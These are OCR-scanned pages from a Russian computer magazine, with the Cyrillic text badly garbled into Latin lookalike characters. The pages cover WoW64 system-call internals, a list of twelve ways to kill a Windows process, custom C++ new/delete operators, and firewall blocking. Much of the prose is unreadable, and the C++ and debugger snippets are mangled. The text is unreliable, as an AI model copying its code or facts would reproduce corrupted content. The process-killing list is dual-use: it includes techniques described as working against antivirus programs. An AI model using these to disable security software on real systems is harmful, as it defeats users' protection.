OueHb 4acTo 3010Tble
KPYMVHKN MOXHO
oTbicKaTh B borax
CUCTEMHBbIX MpOrpam-
MWUCTOB, TaKMX Kak
www.alex-ionescu.
com unw http://j00ru.
vexillium.org.
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32-paspagHbie EXE-DLL

32-paspapgHas Ntdll. dil

Wowé4c pu.dil

Wowé4.dll Wowé4win.dll

64-paspapgHas Ntdil. dil

Ntoskrnl.exe

Apxutektypawowbs

(ans nx ucnonsbsosanna Wowb4-nporpamMmamu). Tak Kakosa e pasHuua
Mexay «HopManbHbiMn» 32-6uTHbiMK dLL 1 nx Wowébs-sepcrammn?

Ha 64-6uTHbix Bepcuax Windows pasHuusl Mexay Taknummu bubnnoteka-
MU HeT — BbonblunHcTeo dUl aBnsioT coboit 32-butHele konun ¢ 32-6uT-
HOW Bepcuwn onepauvoHHoi cuctemsl. K npumepy, Wowé4-brbnuoTteka
ws2_32.dlL Ha Vista x64 — T0T e camblit dain, 4o u 32-buTtHas ws2_32.
dll Ha Vista x86. BmecTe ¢ TeM, HekoTopble dll oTanyatoTcs oueHb 3Haun-
TenbHo, K npumMepy, ntdll.dLl.

Ecnun Mbl rsHeM ckBo3b Npu3My oTnagunka Ha x86 sepcwto ntdll.dll, To
N1erko CMOXeM YBWAETb, HYTO CUCTEMHBbII BbI30B YXOAMUT B §4p0 CUCTEMBI
yepes Tak Ha3biBaeMbll SystemCallStub B cTpykType SharedUserData:

1kd> u ntdll!NtClose
ntdll!ZwClose:

mov eax,30h

mov edx,offset SharedUserData!SystemCallStub
call dword ptr [edx]

ret 4

B Wowb4-sepcuum ntdll kaptnHa pasuTensHo oTamnyaetcs. Beizos cuctem-
HOro cepBMCa NPOUCXOAUT Yepes none no cMeteruto 0xcO B 32-butHon
ctpyktype TEB (Thread Environment Block]:

1kd> u ntdll!NtClose
ntdll!ZwClose:

mov eax, 0Ch

Xor ecx, ecx

lea edx, [esp+4]

call dword ptr fs:[0COh]

ret 4

B cBoto ouepesb, packpbiBaem cTpykTypy TEB 1 Tam no cMmeleHnto OxcO
BUOMM nosie, nomeyeHHoe kak “WOW32Reserved”:

1kd> dt ntdll!_TEB

+0x000 NtTib _NT_TIB
[skip...]
+0x0c0 WOW32Reserved Ptr32 Void
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KcTaTu, B kayecTBe NMpryeckoro oTCTyMIEHNs OT TeMbl X041y 3aMeTuTb,
YTO €CAn Tl NAAHMPYeLlb UCNOb30BaTb 32-OUTHbIE NporpaMMbl Nog,
Wowé4, byab o4eHb BHUMATENIEH NpU UCNOb30BaHUM Takux GYHKLMUIA Kak
GetThreadContext/SetThreadContext, v BoT nodemy. JaHHble GyHKUMY
TpebyioT JONONHUTENbHbIX NMPUBUAETMIA NPU UCTIOJHEHWUW B KOHTEKCTE
Wowb4. B yacTHocTu, MM HyxeH pocTyn k fanHeiM THREAD_QUERY_
INFORMATION.

12CNOCOBOB 3ABEPLIMTDL NPOLIECC

YT00bI Thl BCErAa MOT BbINTY NobefuTeneM U3 COUMANMCTNYECKOro CopeB-
HOBaHWs Ha TeMy «KTo 3HaeT bosnblue crnocoboB rpoxHyTb NPOLLECC», Npo-
Be/IEHHOTO B Kpyry Apy3ei, NiobuMblii xypHan 3ab0TnnBo noaroHsieT Tebe
Lensix 12 MeTonos:

1) Ucnonbsosats dyHkummn TerminateProcess nnm NtTerminateProcess —
MOHSATHO 6e3 SIMLWHKMX CNOB, NPaBAa, OHW BCerAa nepexsaTbiBaloTCs aBepa-
MU ANS CBOEeW 3aLLNThl;

2) Mcnonb3osats CreateRemoteThread ¢ sbizosom ExitProcess. [na storo
Tebe HyxHo ByneT HaiTh anpec ExitProcess BHyTpM Toro npouecca, Koto-
pbIVi Thl XO4ellb 3aBEPLUNTS;

3) icnonb3osats kombBuraumio NtQuerySysteminformation unn toolhelp32
c Bbi3oBoM TerminateThread or NtTerminateThread. Bce npegensHo npo-
CTO — HaXOAMLLb BCE MOTOKM MCKOMOTO MpoLiecca 1 3aBepluaellb UX Bbi30-
oM TerminateThread (NtTerminateThread):

4) Buizsats NtQuerySystemInformation nnw toolhelp32, nocne yero sbizo-
BoM SetThreadContext yctaHoBuTb pernctp EIP Tak, 4tobbl oH yka3biBan Ha
ExitProcess;

5) B umkne ot 0 go 4096 eeissats dyHkumio DuplicateHandle ¢ napame-
Tpamu TargetProcess n TargetProcessHandle pasHbiMun NULL, a Options
paBHbiM 0x1. 3To 3aKkpoeT ec/n He BCe, TO MOYTW BCE XeHAbI OTKPLITOrO
npouecca. H4To HTepecHO — 3TOT MeToJ, NpekpacHo AeNCTBYET NPoTHB
CNOXHbIX MPOrPaMM U CUCTEM, TWMa aHTUBKPYCOB, OAHAKO He CMOXET rpoX-
HyTb notepad.exe;

6) [10B0/IbHO MPOMO3/IKMIA CMOCO6 — MOXHO BbI3BaTh MOC/NEA0BATENBHO
CreateJobObject, AssignProcessToJobObject n TerminateJobObject;

7) CnoxHblifi cnocob, bosblue W3BECTHbIN B cpee Aebarrepos — Bbi3bi-
BaeM nocneposatensHo NtCreateDebugObject ansa npouecca, 3atem
NtDebugActiveProcess, nocne yero 3akpbiBaem xeHan gebar-obbekra
(4nTati — npouecca) Bbizoom CloseHandle;

8) OpurvHanbHbIi Cnocob — NocieloBaTeNbHO A8 BCEro PervioHa naMsm
npouecca Bbi3biBaeM VirtualQueryEx c napametpom PAGE_NOACCESS v
VirtualProtectEx. lpouecc TMxo yMpeT, Koraa Bce CTpaHuLbl NaMaTy CTaHyT
HeAOCTYMHbIMU;

9) TonopHbIiit criocob — oTkpbiBaeM namsTs npotecca VirtualQueryEx,
nocne yero Bbi3oBoM WriteProcessMemory HaunHaeM nvicaTb B NaMaTh
npotecca BCakylo Heuntaemyio GUrHio;

10) Eule 0auH opuriHanbHbii Cnocob — 10 NOCUHEHUS BbI3biBaTh
VirtualQueryEx. Korga koH4MTCA NamMaTh nof BhlgeneHne, npouecc ympeT
cam;

11) Apepras dyHkuma — PsTerminateProcess (PspTerminateProcess). Tak
Kak $pOM OHa He 3KCMOPTUPYETCS, BbI3BaTb €8 MOXHO TONbKO MyTeM CKa-
HMUPOBaHUSA AApa Ha NMPeAMeT OnpeaeNeHHON CUrHaTYpbI;

12) Ewle opHa Heakcnoptupyemas GykHUMS —
PspTerminateThreadByPointer. VwieTcsa B aape aHanornyHslM obpasom,
MyTeM CKaHUPOBaHUS NaMsTy.

Kctatw, kog, peanvsytoLmii novck u nepexsat
PspTerminateThreadByPointer ansa 3awuTsl TBOEro npotecca ot ybuiictea
TaknM cnocobomM, Tbl CMOXeLLb HATU Ha AUCKe.

SAKNHOYEHUE

YuTaTtb foku, beccnopHo, oyeHb nonesHo. [1ockonbKy oHKM — pynes.
OfHako npakTVKa Nnoka3blBaeT, YTO caMble BKYCHOCTU M COYHbIE KYCKM
OC uacTo bbiBaOT HEJOKYMEHTUPOBAHHbLIMK, 1 pa3paboTumkn Windows
04YeHb HEOXOTHO PacKpbIBalOT HaM 3Tu cekpeTbl. Ho Bce TaliHoe Bcerpa
CTaHOBUTCA ABHbIM. Tak 4To gep3ait! YgayHoro koMnunmMpoBaHus, 1 aa
npebynet c Tobot Cuna! 2=
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CODING

KOOEPCKME

TUMNCbl U TPUKCDHI

ﬂpaBMna KoauHra Ha C++ 1f HacTOALLMX CNeL,oB

C++ UCKOHHO CYUTAETCA TMBKWM, HO C/I0XHbIM, A3bIKOM
[IPOTPAMMWUPOBAHWA. MOYEMY? TIOTOMY YTO TAK OHO U ECTb ).

B 3TON CTATBE Mbl Y3HAEM OB OMEPATOPAX NEW W DELETE, 0 TOM,
KAK TUCATb COBCTBEHHbIE MMPOLIEAYPI YNPABJIEHMA NAMATHH0
W KAK HE COBEPLUMTb YWACHYIO OLLUBKY, SAHUMAACH 3TUM

HEJIETKUM AEJIOM.

MHorvie kofepbl, Bbibupas C++ B kayecTBe OCHOBHOIO A3blKa 415 Hanwvca-
HUS CBOMX NPOTrPaMM, XOTAT TeM CaMbiM A0BUTLCS OT HYX MaKCUManbHOM

3 PeKTUBHOCTY, Kak B NaaHe noTpebneHns pecypcos, Tak 1 B NaaHe CKopocTy
BbINONHEHUS. VIMeHHO HanncaHne coBCTBEHHbIX 0NepaTopoB /151 paboTkl
NaMATbLIO JaeT Takylo BO3MOXHOCTb. KoHeuHo, B Hallle BpeMs, Korja nosce-
MEeCTHO ncrnonbayoTes choplunkm Mycopa (Hanpumep, B Java nnn C#), cam no
cebe BbI30B creLManbHbIX KOMaHS 415 BblAeNeHUs 1 0CBODOXAeHNS NaMaTH
BbIMNAANT HEMHOIO CTPAHHO, HO MMeHHO bnarofaps 3TUM koMaHAaM nioboil
NPOrPaMMUCT MOXET 3HAUUTESbHO YYYLLNTH NPON3BOANTENEHOCTE CBOEMO
kofa.

[naToro, 4Tobbl HaNUCaTb NPaBUALHBIV KOf, KOTOPLIN byeT paboTaTh ¢ Nams-
Tbi0, HAA,0 NOHWUMaTb, KaK OpraHK130BaHbl NpoLieypbl ypaBaeHUs 3To caMoi
namaTbio B C++. Takxe cneflyeT MOMHWUTL 0 MHOFOMOTOYHOCTY 1 Npobnemax,
cBA3aHHbIX ¢ Hel. Kyya — 310 MoagndumLmpyemblit rnobabHbIi pecypc, 4OCTYN
K KOTOPOMY JOJI)KEH DbITb CUHXPOHM3MpPOBaH. Ecnu nrHoprpoBaTh 3T0T dakT,
TO PaHO VM NO3[1HO BCE C/IOMAEeTCs, U NoToM byaeT o4eHb CNOXHO pa3o-
BpaTbcs, B YeM e cobcTBeHHO Aeno. [o3ToMy npy HanucaHuy cobcTBeHHoro
MeHeaxepa naMaTyi BcerAa Hafo MOMHUTL 0 BO3MOXKHOCTM OHOBPEMEHHOIO
[,0CTyna K Ky4e 13 pa3Hbix MOTOKOB MPoOrpaMMbl.

Korga uMeeT cMbIC/1 3aMeHATh
new U delete?

[ina Havana faBai pasbepemcs, CTOUT M HaM BoobLLe NcaTb COBCTBEHHbIE
npouenypbl paboTsl c namsaTbio. Hate Bcero new u delete nepenwceiBaloT ans
TOro, 4Tobbl 06HAPYXKMTH Tak Ha3blBaeMble OLLNOKM NpuMeHeHus. K Takum
ownbkaM oTHocATCH, Hanpumep, yTeuky namati. OHKM MOTyT Cly4aThes Kak 13-
32 NPOCTON HEBHUMATEILHOCTM NPOrpaMMmICTa, Tak U BCIeACTBIUE BbICOKOO
YPOBHSI C/IOKHOCTM CTRYKTYpbI Koga. [TonpocTy rosops, Ans AvHaMU4ecKu
BbIfle/IEHHOV NaMATV He Bcerfa Boi3biBaeTcs delete. BoiBaeT v gpyras kpaii-
HOCTb, KOrfa A5t 0HOro 1 TOro e bnoka ns kyun delete Bbi3biBaeTCs fiBa v
bonee pas. B atom ciyyae nosefeHvie NporpaMMmbl MpeackasaTe HEBO3MOXKHO.
Bcero atoro MoxHo n3bexats, ecnv nonb3oBaTesnbekme GyHKUMm no pabote
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C Kyyen byfyT BeCTV CNMCOK BblAeneHHbIX baokos namaTu. Elle ogHoM YacTo
BCTpeyatoLLeincs owmnbkoi npuMeHeHUs aBaseTca nepenonHeHue bydepa.
CKonbko xakepckux atak bb110 ycneLHo BLINOHEHO Yepes Takyto BOT CTapyto,
Kak Mup, fiblpy? AHTaroHUCT NepenoNHeHmns — 3T0 3anuch C afpeca, npejLe-
CTBYIOLLErO Hauany BblgeneHHoro 6noka. CaMonucHas Bepcus Nnew MoxeT 3a-
npalvBeaTh bnokv bonbluero pazmepa 1 3annceiBaTh B Ha4aso v KOHeL, Taknx
BnokoB cneuunansHyio curHatypy. Onepatop delete MoxXeT npoBepsATL HanvuKne
3TOM CUTHATYPbI 1, €C/IN €€ HE OKAXKETCs Ha MecTe, MOAHUMAaTL TPEBOTY.
BTopoii npuymnHoii, 13-3a KOTOpPoit MOXHO CMeJI0 NepenuchbiBaTh NpoLey-
pblyNpaBReHns NamMaTbio, ABNAETCH NPON3BOAUTENbHOCTL. CTaHaapTHble
Bepcuum onepaTopoB new v delete, nocTaBnseMble BMeCTe C KOMAUAATOPOM,
«CNMLWKOM» yHMBepcanbHbl. OHY JOKHbI 041HaKOBO XopoLlo paboTtaTb

Kak insi KOAa, BbINMOSHEHWE KOTOPOrO 3aHMAET MeHbLLIe CeKyHAbI, Tak v Ans
NporpamM, anTaim KOTOpbIX COCTaBAAET MecsLbl. 3PPEKTUBHO BbIAENATH Kak
HecKosbko 60M1bLLINX BAOKOB NAaMATH, KOTOPbIE CYLLIECTBYIOT Ha NPOTAXEHN
Bcelt paboTbl NPorpaMMbl, Tak U MHOXECTBO MasieHbKMX, KOTOPbIE «XKUBYT»
coTble fonu cekyHabl. CTaHAapTHble GyHKLMM paboTbl € Kyyel JOMKHbI yMeTb
a¢pdekTBHO HopoThbes ¢ ee pparmMeHTaLMen, NOCKOMbKY faxe eCv cyMmap-
Hblll 0O6beM cBODOAHOM NamMATV ByaeT LOCTAaTOUHO BENUK, BblCOKas CTEMEHb ee
«pa3apobneHHoCTU» MOXeT NoMeLLaTh BbIAENEHNIO HyXHOro bioka.

Tenepb NoHATHO, NoyeMy fedonTHele new v delete He Bceraa okasbialoTcs
ObICTPBIMY 1 3GPEKTUBHBIMU — UCMOMB3YIOTCA CANLIKOM 0bLLIMe anropuTMel
paboTbl C NaMATLIO, KOTOPbIE NPK3BaHbI y4eCTb BCe HioaHChI. B HekoTopbix
CNyqasx HanmcaHve cobCTBEHHbIX 0nepaTopoB paboTbl ¢ NamMsATbio NoMoraeT
3HaYMTENbHO YCKOPUTL BLIMOSHEHVIE KOA1E, @ TaK>KE YMeHbLUWTL PAcXof, pecyp-
co. Tak, HanpuMep, camMonucHble new v delete byayT nonesHsl Ans yckopeHus
npotiecca pacrnpeeneHns 1 ocBoboXAeHUsA NaMATU, ANA YMeHbLIEHNS
HaK/1aflHbIX PACX0J0B, XapakTepHbIX AN CTaHAAPTHOrO MeHeKepa namsTu;
4TObbI KOMNEHCMPOBaTL CyboNTVMaNbHOE BbipaBHBaHWE B pacnpegenute-
A9X N0 yMon4aHuio (06 3ToM YyTb HUXe), 4To6bI CrpynnpoBaTh B3auMocss-
3aHHble 06beKTbI APYT C APYroM U T.4.

Eule oyeHb yacTo new v delete nepenuceiBatoT Ansa cbopa ctaTucTHKK 06
Vcronb3yemoit naMaTh. B BbICOKOHArPY>KeHHBIX MPUIOXKEHNSAX YaCTOo OKa-
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MporpaMMupoBaHue — Henerkas wWTyka,aHa C++ —
TeMbGonee

3bIBAIOTCS O4EHb MOJE3HBIMU 3HAHWS O TOM, KaK MCMOJb3YeTCs NaMsTh: Kak
pacrnpepeneHsl BolaensieMble 610k1 N0 pa3Mepam, KakoBo BpeMs UX KNU3HMU,
Kakom Nopsfok BblAeNeHVs 1 0cBobOXAeHS BNOKOB XapakTepeH 414 Koaa,
M3MeHseTCs v «noTpebneHres» MHaMUYeCKo NaMaTV Ha pa3HbIX CTaamnsX
BbIMOJIHEHWS MPOrpaMMbl, U eCTb I BoobLLLe kakas-1bo 3aKoHOMepHOCTb.
Ha Bce 3T1 BOMpockl MOMOryT 0TBETUTL COBCTBEHHbIE OnepaTopbl paboTkl ¢
namaTbio.

[lpuMep cobcTBEHHOW BEpCHM New

Hanwcatb cobcTBeHHyto Bepcyio onepatopos new 1 delete goctaTouHo npo-
cTo. PaccMoTpuM, HanprMep, kak MOXHO peann3oBaTh robasnbHbIl onepaTtop
New C KOHTPONIeM 3aMuncy 3a rpaHuLamu BelaeneHHoro bnoka. Mpasaa, B
NpUMepe HIXe eCTb HECKOJIbKO HEJOCTATKOB, HO 00 3TOM Aanee.

Monb3oBaTenbckas BepcusionepaTtopa new
int signature = O0xXADADEAEA;
“haz

ic const

Byte;

) ew(std::size_t size)
throw(std: :bad_alloc)
{
using name > std;

size_t realSize = size + 2 * si int) ;

zeof (

void *pMem = malloc (realSize) ;

if (!pMem)
throw(bad_alloc) ;
* (static_cast<int>pMem)) = signature;
* (reinterpret_cast<int*>(static_cast<Byte*> (pMem)
+ realSize — sizeof (int))) = signature;
return static_cast<Byte*>(pMem) + sizeof (int) ;

3neck Mbl cHayana ¢ nomoubio dyHkLmmn malloc Bblfensem baok naMaT Ha
nBa cnosa bonblue, YeM 3anpallviBaeTca B NepefaBaeMoM NapameTpe, 3aTem
3anucbiBaeM CUrHaTypy B HAa4asno 1 B KOHEL, BbILENEHHOr0 Kycka NamsTu, noc-
fle Yero Bo3BpalliaeM ykasaTesb Ha Hee.

Bpone Bce xopoLwo, Ho Mbl 3abbiBaeM 0 Takoil BaXHOW BELLY, Kak BbIpaBHMBA-
Hue. MHorve KOMMbIoTepHbIe apXUTEKTYpbl TPEbyYIOT, 4TobbI AaHHble onpefe-
SIEHHbIX TUMNOB Pacnonarafych B NamMsATV Mo BNOJIHE KOHKPETHbLIM afpecam.
Hanpumep, apxutekTypa MoxeT TpeboBaTb, YTobbl ykasaTenu pacnonaranvcb
noafpecam, KpaTHbIM YeTblpeM, a AaHHble Tvina double Bbinvi BbIPOBHEHbI Ha
rpaHuLy ABoHOro YeTeipexbaliTHoro cnosa. Ecnu He cobnopats 3Tv Tpebo-
BaHVIs, TO BO3MOXHbI annapatHble cbon unum 3amepneHune pabotsl cUCTEMbI.
C++Tpebyer, 4Tobbl BCe ykasaTenu, BO3BpallaeMble onepatopom new, buinu
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OT/IMYHasA KHUrano cTaHaapTy C++

BbIPOBHEHbI 415 toboro Tna fanHbix. PyHkums malloc ynosnetsopsiet

3TVM YCNIOBWSM, HO, MOCKOSbKY Mbl 3aMncbiBaeM B Hayasno baoka curHatypy,

1, cnefoBaTeNbHoO, BO3BpaLlaeM ykasaTeNb, CMeLLEeHHbIV Ha AIMHY 3Tol
CUrHaTYPbl, TO HET H1KaKMX rapaHTui, 4To 310 bezonacHo. Ecnu Mbl Boige MM
namMsaTb Nof nepeMeHHyto TMna double Ha KoMMblOTEpE C apx1TeKkTypow, rae int
3aHuMaeT YeTbipe baiiTa, To onepaTop new, NprBeAEHHbIN B NTpUMepe, ckopee
BCEro BepHeT HenpaBUbHbIN yKa3aTeslb, YTO B UTOre MOXET 3aBepLUnThCS
aBapUNHOM OCTAHOBKOW NPOrpaMMbl UV ee CUAbHbIM 3aMefIeHVEM.
Hapetocb, Tenepb MOHATHO, NOYeMy NpaBUbHOE BblpaBHVBaHKME Tak BaXHO.
Ho He MeHee BaxkHbIM iBAAeTCA TpeboBaHKe K onepaTopaM New, COrnacHo Ko-
TOPOMY BCE OHW [JOJIKHbI BKIKOYATh LMK BbI30Ba GyHKLMKM-06paboTumka new.

DyHKuMA-00pabOTYHK new

Korpa onepatop new He MOXET y10BAETBOPUTL 3aMpoc Ha BbleeHne 3a-
NPOLLEHHOr0 KONMYECTBa NaMsaTH, OH Bo3DyxaaeT ncknoyeHue. B ctapbie
BpEMEHa 0repaTop New BO3BPaLLLas HOJlb 1 Clefbl Nof0bHOro noBeAeHUs
COXPaHWINCH B HEKOTOPBIX KOMMUISITOpax 1 no ceit fieHb. OCHOBHas »e Macca
COBPEMEHHbIX KOMMUAATOPOB reHEepYpPYET KOA C NeW, MOAAEPXVBAIOLLM
BbI30B UCKITIOHEHWIA.

[Nepen TeM kak BbI3BaTb UCKITOYEHE MOCSIE HeYAaUHO M MOMbITKW BblfeNeHuns
naMmsTy, ONepaTop New JOIXEH BbINONHUTL Ko, GyHKLMK-06paboTurka (new-
handler], koTopas onpefensetcs nonb3osarenem. Y1obbl 3aaatb 06paboTyuk,
HY>KHO BbI3BaTb CTaHAaPTHYyt0 brubanoTeyHyio dyHkumio set_new_handler,
0ObSABEHHYIO B 3arooBOYHOM dalifie <new> cnefyioLLyim obpasom:

06baBneHune set_new_handler
namespace std {

(*new_handler)

0);
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MpaBunbHoe ochopMaeHUE TPOKOB — MUHYC NOJNIO-
BWHa 6aros

new_handler set_new_handler (new_handler p)
();

throw

Kak BnaHo, new_handler — ato typedef gnsa ykasatena Ha dyHkUKIO,
KoTOpas He MpUHMMaeT HUKakux NnapameTpoBs, a set_new_handler —
bYHKLUS, KOTOpas Kak pa3 noayyaeT B Ka4ecTBe napaMeTpa nepeMeH-
Hyto Tuna new_handler. [Mony4yeHHbI ykasaTenb Ha GyHKLUN BNOCAE[-
CTBVV BbI3bIBAETCH ONEpaToOpoOM New B Cllydae HeyLayHon NonbITku
BblgeneHuns namatu. Mpenblayuinii ykasatens Ha obpaboTynk Takke
Bo3spaLaetcs (set_new_handler). B utore MoxHo nonyunTs nprmep-
HO ClefyloW it KOa:

WUcnonb3oBaHue set_new_handler

void outOfMem ()

{
std: :cerr << "HeBO3MOXHO BHIOENNTE NaMATB\N";
std: :abort () ;

}

int main ()

{

std: :set_new_handler (outOfMem) ;

int *pBigDataArray = new int [100000000L] ;

ObpaboTynk onepaTopa new BbI3bIBAETCH LMKJINYECKM, MOKA OH He
«CyMeeT» HalTV [,OCTaTOYHOE KOSIMYECTBO NaMSTV MW He BbIMONHUT Kakoe-
nnbo Apyroe feicTeme ANs KOppekTHoi obpaboTku cutyaumun. Haintu csobos-
HYH NaMSATb He TaK-TO MPOCTO, HO MOXHO MOWTU Ha HEDONbLLYIO yN0BKY —

B Ha4asle paboTbl NporpamMMbl 3ape3epBrUpOBaTh HEKOTOPbI 06beM NaMsT 1
BbICBODOAUTL €ro Npu nepBoM Bbi3oBe obpaboTynka. B pesynbrate Takux fei-
CTBWI ClefyloLlas NonbITka BbIAENNTb KYCOK MaMsTV yBEHYAETCH YCMeXoM.
AnbTEepHaTVBHBIM BapMaHTOM LENCTBMIA MOXET BbITb yCTaHOBKA Apyroro 0b-
paboTuwmka nnu Bosce ero yaanenue. Ecnav tekywmii new-handler He moxeT
HaNTW HY>XHOE KONMYeCcTBO CBODOAHOM NaMsTL, TO, BO3MOXHO, OH 3HaeT
KaKkow-To fipyror 06paboTyuk, KOTOPbIA CNPaBUTCS C 3TOV 3aia4en nyJLue.
Aecnu cnomolubio set_new_handler yctaHoBWUTb HyNeBoO yka3aTenb, To one-
paTop new cpasy Bo3byAuT 1CKKYEHVIE NPU HeYAaYHO MOMBITKE BblAeNeHns
namaTu.

Takxe B dyHKUMM-0bpaboTymKe onepaTopa new MoXHO Bo30yAuTb 1C-
kntoyerure Tvna bad_alloc unu noboro Tnna, yHacnefoBaHHOro OT Hero.
McknioyeHns Takoro T1Na He NepexBaTbiBaloTCs B NEW, U MO3TOMY 1X MOXHO
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nolimMaTb B MecTe Bbl30Ba ornepaTopa. A elie MOXHO BoobLLe HYero He AenaTtb
1 3aBEPLUUTL MPOrpamMMy C MoMoLLbto abort unw exit, 4to, cobcTBEHHO, Mbl 1
cnenanv B npumepe. [1o 3Toro MoMeHTa Mbl BCe BPEMS FOBOPWN O rnobanb-
HOI 3aMeHe oMnepaTopa New, Ho oNpeaenuTb CneLdrUHbIN KOA BblAENEHNS
namaTi MOXHO 1LWb 415 06bekToB onpefeneHHoro Tuna. Caenats 1o
[lOCTaTOYHO NPOCTO, HY>HO SINLLb B KAX/I0M KNacce HanuncaTb CBoW BepCUm
set_new_handler n new. OnpegenerHas B knacce set_new_handler no3so-
NUT Nonb30BaTeNsdM 3a4atb 0bpaboTyvk new ans knacca, a npuHagiexallmi
Knaccy operator new rapaHTVpyeT, 4TO NpU BblAeNeHUN NaMaTh Ans 00bekToB
3Toro knacca BMecTo rnobanbHoro obpaboTynka new byaeT Mcnonb3oBaH ToT,
4TO ONpefesnieH B AaHHOM Kacce.

CobcTBEeHHbIV hew ang Knacca

Widget {
public
static std::new_handler set_new_handler
(std: :new_handler p) throw() ;
static void *operator new(std::size_t size)
throw(std: :bad_alloc) ;
private:
static std::new_handler currentHandler;
}

OnepaTtop new, onpegenerHsil B knacce Widget, gonmxeH otpabotats no
BMOJIHe OnpeaeneHHoMy anropuTMy. Bo-nepsbix, OH JO/KeH BbI3BaTb
CTaHAapTHbI set_new_handler, yka3as B kayecTBe NnapameTpa GpyHKLMIO-
obpabotunk ns knacca Widget. B peaynstate atoT new-handler ctanet
rnobanbHbIM. 3aTeM cnefyeT Bbi3BaTh robanbHbi operator new. B ciyyae
oLwnbkm byneT Bbi3BaH 0bpaboTunk new, npuHagnexatlmii knaccy Widget.
Ecnu 3to HM Kk YeMy He NpuBeaeT, To rMobanbHbIi New Bo3byAUT UCKoYeH e,
anew K3 Knacca JoIKeH BOCCTAHOBUTbL MCXOAHbI 0bpaboTyvik u pacnpo-
CTPaHWTb UCKoYeHWe. Ecnv e BblfeneHne NaMaTy NPOLLNO YAAYHO, TO New,
npvHagnexalynii knaccy Widget, LoskeH BepHyTb yka3aTesb Ha 3Ty NaMsaTh 1
BOCCTaHOBUTb NpefblayLimnii new-handler.

[lpaBunbHBIK MeHeKep NaMATH

Hanucatb noyTn paboTatowmii MeHeaxep NaMaTi NPOCTo, @ BOT HaNmcaThb
X0pOLLIO paboTaloLLnii MeHekep B pa3bl cnoxHee. Hy>Ho yunTbiBaTb Maccy
HioaHcoB. Bo MHOrMX KHUrax no C++ NprBOAATCS MPUMEPbI BbICOKOMPOU3BO-
LMTENBHOIO KOf,a pacrnpeienerns NamMmaTh, Ho OMyCKatoTCs Takme «CKyYHbIe»
MOMEHTbI, KaK NepPeHOCHMOCTb, COTNaLleHns 0 BbipaBHUBaHMK, besonacHoCTb
OTHOCUTESIbHO MOTOKOB M T.A.

B bonblunHCTBe CyyaeB cienyeT XopoLLo NoAyMaTh, MPexae YeM nucaTb
cobcTBeHHbIE NpoLefypbl paboTkl ¢ NaMATbIo. HekoTopble coBpeMeHHble
KOMMUASTOPBI yMeloT NPOTOKOMPOBATb 1 0TNaXMBaTh paboTy GyHKLMIA
yrnpas/ieHns NaMaTblo. MoXHO HaliT MHOXECTBO KOMMePYECKMX NPOLYyKTOB,
NO3BONAIOLLMX 3aMEeHUTb MEHEAXKEP NaMATH, MOCTaBASEMbIA KOMIUAATOPOM.
Takve NpofyKTbl XOpPOLLIO NPOTECTUPOBAHbI M MPAKTUYECKN HE MMeIOT OLLIMBOK.
1 Bce Xe, ecnu HU 0AMH U3 3TVX BapmaHToB Tebe He MofoLLen, To COBETYIO,
npexze YeM 3aHATbCS KOAMHTOM cobcTBeHHbIX New 1 delete, 3arnsaHyTb B
Open source NPOEeKTbI M0 yrpaBaeHWio NaMsaTbio. HanprimMep, 03HaKoOMUTbLCS €
Bubnnotekon Pool 3 npoekta Boost. TaM MoXHO HalTV MHOXeCTBO Mefloyel,
KOTOpbIe NO3BONAT ieTaNbHO pa30bpaTbCs BO BCEX TOHKOCTSAX YNpaBieHns
namMaTbto B C++.

JaknoyeHue

370 6bINa NMWbL HebonbLIas YacTb TOro, YTO MOXHO CKka3aTb 06 onepaTopax
new v delete. Hapetock, B cieaytoLLyix CTaTbsAX Mbl IPOLOSIKMM NO3HaBaTh
TalHbl QYHKUMI yNpaBaeHnsa NaMaTbio. e
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BxoA B COLIMQJIIKN —

Ha aMbapHbIK

3aMoK!

ELLLE HECKOJIbKO CI10COB0B KOHTPOJIA TPAOUKA U YTNIPABNEHUSA

AOCTYINOM

Pabouni feHb BoNbLLIMHCTBA 03€pPOB HAaYMHAETCA C MPOCMOTPA COODLLEHNI

B <<O,£|,HOKJ'I8CCHI/IK8X>>, YTEHWA HOBOCTEW U rnoceleHnd NtobbIx APYrxpecyp-

COB, HE CBA3aHHbIX C BbIMOJIHEHMEM CBOUX CAY>KebHbIX 0bs93aHHOCTeN. He-

KOTOpOE BpEMA HAHYaJIbCTBO CMOTPUT Ha 3TO CKBO3b lMaJiblbl, HO B OANH Mpe-

KpaCHbII7I MOMEHT MNMOCTYMNaeT KOMaH[da: «Bce 6J'IOKI/IpOBaTI:>!>>.

NoAPY4YHbIE CPEACTBA WINDOWS

BerpoenHslii B ocieane Bepcur Windows 6paHziMayap B pe)KHMe ITOBBI-
IIEHHOM 6€30TacHOCTH YiKe 06J1ajaeT JOCTaTOYHBIM GYHKITMOHATIOM, TT03-
BOJISIIOIIMM 3a0I0KUPOBATh Hy)XKHBIY [IOPT U yAaIeHHbIH [P-azipec [1si BXOZs-
IIMX ¥ UCXOAAMINX coefuHeHni. OueHb yo6Ho, 4To HacTpoiiku advfirewall
IIPOM3BOZATCS HE TOIBKO B KOHComr MMC (JIOKa/IbHO WIH yIaJIeHHO), HO U
HIOCPEICTBOM I'PYIIIOBBIX HOJMUTHUK. Tak, B JOMEHHO cpe/ie MOKHO ITpHUMe-
HSATb e/INHbIE YCTAHOBKH, KOTOPbIe aBTOMATUYECKHU YCTaHABINBAIOTCSI M Pac-
MIPOCTPAHSAIOTCS C OAHOM TOUKH. JIJIs1 pellleH s ITOCTaBIeHHOW 33/Ja4X MOYKET
HOZOWTH U netsh, TOCKOJIbKY OH yMeeT YIIPaBJIATh IPaBHIAMU BCTPOEHHOT'O
GpaHaMayaspa U [O/IePyKUBAeT BO3MOKHOCTD BBIITOJIHEHNS KOMaH/| Ha
yZaJeHHOM XocTe. IIprdeM co3iaHHbIe B netsh mpodrIu MOXKHO 9KCIIOPTH-
poBarth B Gaiiibl ¢ pacmpeHreM *.wfw, a 3aTeM IPUMEHUTD Ha BCE CUCTEMbI
JIOKaTbHOM ceTu. Hy)XHO IIpr3HaTh, 4TO HacTpoiiKy advfirewall Hesb3st
HasBaTb [Ipo3payHoii. Bosee Toro, 6:10KUpOBKY 110 IP sIydiie TOAKPEIUIATh
3arnperoM 110 URL, 0HAKO TaKOH BO3MOXKHOCTH pa3paboTINKY He IIPeZyCc-
MoTpesu. XOTs 34ech BCIoMUHaeM, 4To IE o3BosIsieT 3ajaTh CIIMCOK CAliTOB,
KOTOPBIE ZI0/DKHBI 6JIOKMPOBAThCA: IOCTATOYHO OTKPHITh O6pay3ep, IeNTKHYTh
